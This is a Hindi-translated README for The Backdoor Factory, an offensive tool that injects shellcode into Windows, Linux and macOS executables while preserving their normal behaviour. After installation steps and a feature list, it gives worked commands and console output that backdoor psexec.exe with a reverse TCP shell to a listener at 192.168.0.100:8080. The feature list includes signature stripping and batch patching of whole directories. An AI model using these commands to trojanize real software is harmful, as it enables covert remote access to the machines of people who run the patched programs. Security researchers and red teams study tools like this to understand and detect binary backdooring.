Patch PE, ELF, Mach-O बाइनरी को शेलकोड के साथ पैच करें, विकास में नया संस्करण, केवल प्रायोजकों के लिए उपलब्ध
केवल सुरक्षा पेशेवरों और शोधकर्ताओं के लिए।
BDF का लक्ष्य एक्जीक्यूटेबल बाइनरी को उपयोगकर्ता की इच्छित शेलकोड के साथ पैच करना और प्रीपैच्ड अवस्था के सामान्य निष्पादन को जारी रखना है।
ब्लैक हैट यूएसए 2015:
वीडियो: https://www.youtube.com/watch?v=OuyLzkG16Uk
पेपर: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
श्मूकॉन 2015:
वीडियो: https://archive.org/details/joshpitts_shmoocon2015
पेपर: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
डर्बीकॉन 2014:
वीडियो: http://www.youtube.com/watch?v=LjUN9MACaTs
डर्बीकॉन 2013:
वीडियो: http://www.youtube.com/watch?v=jXLb2RNX5xs
इंजेक्शन मॉड्यूल डेमो: http://www.youtube.com/watch?v=04aJAex2o3U
स्लाइड्स: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
डेवलपर से संपर्क करें:
IRC:
irc.freenode.net #BDFactory
ट्विटर:
@midnite_runr
BSD 3 खंड लाइसेंस के अंतर्गत
विकी देखें: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####OnionDuke का उपयोग करने के लिए आपको इंटेल मशीन पर होना चाहिए क्योंकि aPLib में ARM चिपसेट के लिए अभी तक समर्थन नहीं है।
Capstone engine को PyPi से स्थापित किया जा सकता है:
sudo pip install capstone
Pefile, सबसे नया:
https://code.google.com/p/pefile/
osslsigncode (रिपॉजिटरी में शामिल):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
काली स्थापना:
apt-get update
apt-get install backdoor-factory
अन्य *NIX/MAC स्थापना:
./install.sh
यह pefile स्थापित करने के लिए 3.01 pip के साथ Capstone स्थापित करेगा।
अद्यतन:
./update.sh
समर्थन:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM लिटिल एंडियन x32),
और Mach-O x86/x64 और FAT फ़ाइलों में ये प्रारूप
पैक की गई फ़ाइलें: PE UPX x86/x64
प्रायोगिक: OpenBSD x32
कुछ एक्जीक्यूटेबल में अंतर्निहित सुरक्षाएँ होती हैं, इसलिए यह सभी बाइनरी पर काम नहीं करेगा। यह सलाह दी जाती है कि लक्ष्य बाइनरी को ग्राहकों को तैनात करने या अभ्यास में उपयोग करने से पहले उनका परीक्षण करें। मैं NSIS को बायपास करने की कगार पर हूँ, इसलिए इन जाँचों को बायपास करना भविष्य में शामिल किया जाएगा।
रयान ओ'नील को बहुत-बहुत धन्यवाद --ryan 'at' codeslum <d ot> org--
उसके बिना, मैं अभी भी elf प्रारूप के साथ
बेवकूफी भरी चीजें करने की कोशिश कर रहा होता।
सिल्वियो सेसरे को भी धन्यवाद, जिनके 1998 के पेपर
(http://vxheaven.org/lib/vsc01.html) पर ये ELF पैचिंग तकनीकें आधारित हैं।
./backdoor.py -h उपयोग: backdoor.py [options]
##विशेषताएँ:
###PE फ़ाइलें
एक EXE/DLL में सभी कोडकेव्स ढूँढ सकता है।
डिफ़ॉल्ट रूप से, PE प्रमाणपत्र तालिका के पॉइंटर को साफ़ करता है, जिससे बाइनरी अहस्ताक्षरित हो जाती है।
कोडकेव्स या एक नए सेक्शन में शेलकोड इंजेक्ट कर सकता है।
पता लगा सकता है कि क्या किसी PE बाइनरी को उन्नत विशेषाधिकारों के साथ चलने की आवश्यकता है।
कोडकेव्स चुनते समय, आप निम्न कमांड का उपयोग कर सकते हैं:
-Jump (j), कोडकेव कूदने के लिए
-Single (s), अपने सभी शेलकोड को एक गुफा में पैच करने के लिए
-Append (a), एक कोडकेव बनाने के लिए
-Ignore (i या q), कोई बात नहीं, इस बाइनरी को अनदेखा करें
DLL को अनदेखा कर सकता है
आयात तालिका पैचिंग
स्वचालित पैचिंग (-m automtic)
Onionduke (-m onionduke)
###ELF फ़ाइलें
टेक्स्ट सेगमेंट में 1000 बाइट (बाइट्स में) बढ़ाता है और उस कोड सेक्शन में शेलकोड इंजेक्ट करता है।
###Mach-O फ़ाइलें प्री-टेक्स्ट सेक्शन पैचिंग और हस्ताक्षर हटाना
###कुल मिलाकर
उपयोगकर्ता यह कर सकता है:
-कस्टम शेलकोड प्रदान करें।
-एक्जीक्यूटेबल्स/डीएलएल की निर्देशिका को पैच करें।
-केवल x32 या x64 बाइनरी को पैच करने के लिए चुनें।
-BDF को अन्य पायथन प्रोजेक्ट्स में शामिल करें, pebin.py और elfbin.py देखें।
###मौजूदा कोडकेव का उपयोग करके एक exe/dll पैच करें:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###एक कोड सेक्शन जोड़कर एक exe/dll पैच करें:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###exes की एक निर्देशिका पैच करें: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...आउटपुट README के लिए बहुत लंबा...